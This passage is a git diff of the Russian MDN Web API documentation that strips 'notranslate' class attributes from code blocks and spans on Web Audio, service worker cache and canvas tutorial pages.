diff options
Diffstat (limited to 'files/ru/web/api')
129 files changed, 707 insertions, 707 deletions
diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index 86ca8846e1..d0f4d76dca 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">var audioCtx = new AudioContext(); +<pre class="brush: js">var audioCtx = new AudioContext(); var analyser = audioCtx.createAnalyser(); var dataArray = new Uint8Array(analyser.frequencyBinCount); // Uint8Array должен иметь такой же размер, что и frequencyBinCount @@ -38,7 +38,7 @@ void <em>analyser</em>.getByteFrequencyData(dataArray); // заполняет Ui <p>Следующий пример показывает базовое использование {{domxref ("AudioContext")}} для создания AnalyserNode, затем {{domxref ("window.requestAnimationFrame ()", "requestAnimationFrame")}} и {{htmlelement ("canvas" )}} для повторения сбора частотных данных и вывода в стиле гистограммы winamp для текущего аудиовхода. Для получения дополнительных примеров / информации ознакомьтесь с нашей демонстрацией <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> (см. соответствующий код в строках <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> ).</p> -<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html index 3eba1fb760..c319515a2a 100644 --- a/files/ru/web/api/analysernode/index.html +++ b/files/ru/web/api/analysernode/index.html @@ -97,7 +97,7 @@ translation_of: Web/API/AnalyserNode <p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p> -<pre class="brush: js notranslate">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); // ... diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html index bbe425dcb6..9ce41633ff 100644 --- a/files/ru/web/api/audioparam/index.html +++ b/files/ru/web/api/audioparam/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/AudioParam <p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p> -<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext; +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); var gainNode = audioCtx.createGain(); @@ -73,7 +73,7 @@ gainNode.gain.value = 0;</pre> <p>Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p> -<pre class="brush: js notranslate">var compressor = audioCtx.createDynamicsCompressor(); +<pre class="brush: js">var compressor = audioCtx.createDynamicsCompressor(); compressor.threshold.setValueAtTime(-50, audioCtx.currentTime); compressor.knee.setValueAtTime(40, audioCtx.currentTime); compressor.ratio.setValueAtTime(12, audioCtx.currentTime); diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index 202e13d971..9a6485b694 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> +<pre class="syntaxbox">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> <h3 id="Параметры">Параметры</h3> @@ -28,7 +28,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <p>This simple example features a media element source with two control buttons (see our <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-param/index.html">webaudio-examples repo</a> for the source code, or <a href="https://mdn.github.io/webaudio-examples/audio-param/">view the example live</a>). When the buttons are pressed, the <code>currGain</code> variable is incremented/decremented by 0.25, then the <code>setValueAtTime()</code> method is used to set the gain value equal to <code>currGain</code>, one second from now (<code>audioCtx.currentTime + 1</code>.)</p> -<pre class="brush: js;highlight[32,37] notranslate">// create audio context +<pre class="brush: js;highlight[32,37]">// create audio context var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index ab241f8f1d..d572446540 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/BeforeInstallPromptEvent <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">window.addEventListener("beforeinstallprompt", function(e) { +<pre class="brush: js">window.addEventListener("beforeinstallprompt", function(e) { // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку console.log(e.platforms); // e.g., ["web", "android", "windows"] e.userChoice.then(function(choiceResult) { diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html index f8c623a1c1..ad2177d693 100644 --- a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">BeforeInstallPromptEvent.prompt()</pre> +<pre class="syntaxbox">BeforeInstallPromptEvent.prompt()</pre> <h3 id="Параметры">Параметры</h3> @@ -26,7 +26,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Пример">Пример</h2> -<pre class="notranslate">var isTooSoon = true; +<pre>var isTooSoon = true; window.addEventListener("beforeinstallprompt", function(e) { if (isTooSoon) { e.preventDefault(); // Предотвращает быстрое отображение diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index 6f4c9d5c2f..61a84cb2b6 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer <h2 id="Интерфейс">Интерфейс</h2> -<pre class="syntaxbox notranslate">interface BluetoothRemoteGATTServer { +<pre class="syntaxbox">interface BluetoothRemoteGATTServer { readonly attribute BluetoothDevice device; readonly attribute boolean connected; diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index 12932d5046..6a0dedcd7b 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/BroadcastChannel/postMessage <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> +<pre class="syntaxbox">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/caches/index.html b/files/ru/web/api/caches/index.html index a6a19b6b1c..d67b99be17 100644 --- a/files/ru/web/api/caches/index.html +++ b/files/ru/web/api/caches/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>myCacheStorage</em> = self.caches; // or just caches +<pre class="syntaxbox">var <em>myCacheStorage</em> = self.caches; // or just caches </pre> <h3 id="Значение">Значение</h3> @@ -23,7 +23,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <p>Данный пример показывает как надо использовать кеш в контексте <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> для хранения в автономном режиме</p> -<pre class="brush: js notranslate">this.addEventListener('install', function(event) { +<pre class="brush: js">this.addEventListener('install', function(event) { event.waitUntil( caches.open('v1').then(function(cache) { return cache.addAll([ diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index 44f0185bad..8c1a771764 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -6,17 +6,17 @@ translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div> <div class="summary"> -<p><span class="notranslate">В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span class="notranslate"> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> +<p><span>В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> </div> -<h2 id="Рисование_мяча"><span class="notranslate">Рисование мяча</span></h2> +<h2 id="Рисование_мяча"><span>Рисование мяча</span></h2> -<p><span class="notranslate">Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span class="notranslate">.</span> Нам нужен следующий код.</p> +<p><span>Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span>.</span> Нам нужен следующий код.</p> <pre class="brush: html"><canvas id="canvas" width="600" height="300"></canvas> </pre> -<p><span class="notranslate">Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> +<p><span>Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> <pre class="brush: js">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -37,11 +37,11 @@ var ball = { ball.draw();</pre> -<p><span class="notranslate">Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> +<p><span>Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> -<h2 id="Добавление_скорости"><span class="notranslate">Добавление скорости</span></h2> +<h2 id="Добавление_скорости"><span>Добавление скорости</span></h2> -<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span class="notranslate">Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span class="notranslate">помогает нам контролировать анимацию.</span> <span class="notranslate">Мяч перемещается, добавляя вектор скорости в положение.</span> <span class="notranslate">Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span class="notranslate"> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> +<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span>Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span>помогает нам контролировать анимацию.</span> <span>Мяч перемещается, добавляя вектор скорости в положение.</span> <span>Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> <pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -82,9 +82,9 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<h2 id="Границы"><span class="notranslate" style="background-color: #e6ecf9;">Границы</span></h2> +<h2 id="Границы"><span style="background-color: #e6ecf9;">Границы</span></h2> -<p><span class="notranslate">Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span class="notranslate"> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span class="notranslate"> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> +<p><span>Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> <pre class="brush: js">if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; @@ -93,9 +93,9 @@ if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; }</pre> -<h3 id="Первое_демо"><span class="notranslate">Первое демо</span></h3> +<h3 id="Первое_демо"><span>Первое демо</span></h3> -<p><span class="notranslate">Посмотрим, как он выглядит в действии.</span> <span class="notranslate"> Переместите мышь на холст, чтобы запустить анимацию.</span></p> +<p><span>Посмотрим, как он выглядит в действии.</span> <span> Переместите мышь на холст, чтобы запустить анимацию.</span></p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -158,7 +158,7 @@ ball.draw();</pre> <pre class="brush: js">ball.vy *= .99; ball.vy += .25;</pre> -<p><span class="notranslate">Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> +<p><span>Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> <div class="hidden"> <h6 id="Second_demo">Second demo</h6> @@ -284,9 +284,9 @@ ball.draw();</pre> <p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p> -<h2 id="Добавление_управления_мышью"><span class="notranslate" style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> +<h2 id="Добавление_управления_мышью"><span style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> -<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span class="notranslate"> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span class="notranslate"> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> +<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -358,7 +358,7 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<p><span class="notranslate">Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> +<p><span>Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> <p>{{EmbedLiveSample("Добавление_управления_мышью", "610", "310")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index c17cdbedca..e82a99b84c 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_ <p>Чтобы строка <em><code>color </code></em>считалась валидной, она должна соответствовать CSS {{cssxref("<color>")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. </p> -<pre class="brush: js notranslate">// these all set the fillStyle to 'orange' +<pre class="brush: js">// these all set the fillStyle to 'orange' ctx.fillStyle = "orange"; ctx.fillStyle = "#FFA500"; @@ -41,7 +41,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> -<pre class="brush: js;highlight[5,6] notranslate">function draw() { +<pre class="brush: js;highlight[5,6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -53,9 +53,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -66,7 +66,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Этот пример похож на предыдущий, но мы используем свойство <code>strokeStyle</code> чтобы изменить цвета очертаний фигур. Так же мы используем метод <code>arc()</code> для рисования окружностей вместо квадратов.</p> -<pre class="brush: js;highlight[5,6] notranslate"> function draw() { +<pre class="brush: js;highlight[5,6]"> function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -81,9 +81,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -103,7 +103,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Так как свойства <code>strokeStyle</code> и <code>fillStyle</code> принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение для назначения прозрачных цветов.</p> -<pre class="brush: js notranslate">// Assigning transparent colors to stroke and fill style +<pre class="brush: js">// Assigning transparent colors to stroke and fill style ctx.strokeStyle = "rgba(255,0,0,0.5)"; ctx.fillStyle = "rgba(255,0,0,0.5)"; @@ -115,7 +115,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.</p> -<pre class="brush: js;highlight[15] notranslate">function draw() { +<pre class="brush: js;highlight[15]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // фон изображения ctx.fillStyle = '#FD0'; @@ -140,9 +140,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p> @@ -151,7 +151,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование <code>rgba()</code> добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.</p> -<pre class="brush: js;highlight[16] notranslate">function draw() { +<pre class="brush: js;highlight[16]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Нарисовать фон @@ -174,9 +174,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_использования_rgba", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p> @@ -212,7 +212,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i = 0; i < 10; i++){ ctx.lineWidth = 1+i; @@ -225,9 +225,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p> @@ -269,7 +269,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант - <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineCap = ['butt','round','square']; @@ -296,9 +296,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p> @@ -322,7 +322,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств <code>lineJoin</code>; результат - выше. </p> -<pre class="brush: js;highlight[6] notranslate">function draw() { +<pre class="brush: js;highlight[6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineJoin = ['round','bevel','miter']; ctx.lineWidth = 10; @@ -340,9 +340,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p> @@ -367,7 +367,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Clear canvas @@ -402,7 +402,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <td><canvas id="canvas" width="150" height="150"></canvas></td> <td>Change the <code>miterLimit</code> by entering a new value below and clicking the redraw button.<br><br> @@ -415,7 +415,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </tr> </table></pre> -<pre class="brush: js notranslate">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; +<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; draw();</pre> </div> @@ -428,10 +428,10 @@ draw();</pre> <p>В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="110" height="110"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="110" height="110"></canvas></pre> </div> -<pre class="brush: js;highlight[6] notranslate">var ctx = document.getElementById('canvas').getContext('2d'); +<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d'); var offset = 0; function draw() { @@ -467,7 +467,7 @@ march();</pre> <p>For example:</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); </pre> @@ -480,7 +480,7 @@ var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); <p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0,0,150,150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0,0,150,150); lineargradient.addColorStop(0, 'white'); lineargradient.addColorStop(1, 'black'); </pre> @@ -489,7 +489,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p> -<pre class="brush: js;highlight[5,11] notranslate">function draw() { +<pre class="brush: js;highlight[5,11]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Create gradients @@ -515,9 +515,9 @@ lineargradient.addColorStop(1, 'black'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p> @@ -530,7 +530,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p> -<pre class="brush: js;highlight[5,10,15,20] notranslate">function draw() { +<pre class="brush: js;highlight[5,10,15,20]">function draw() { var ctx 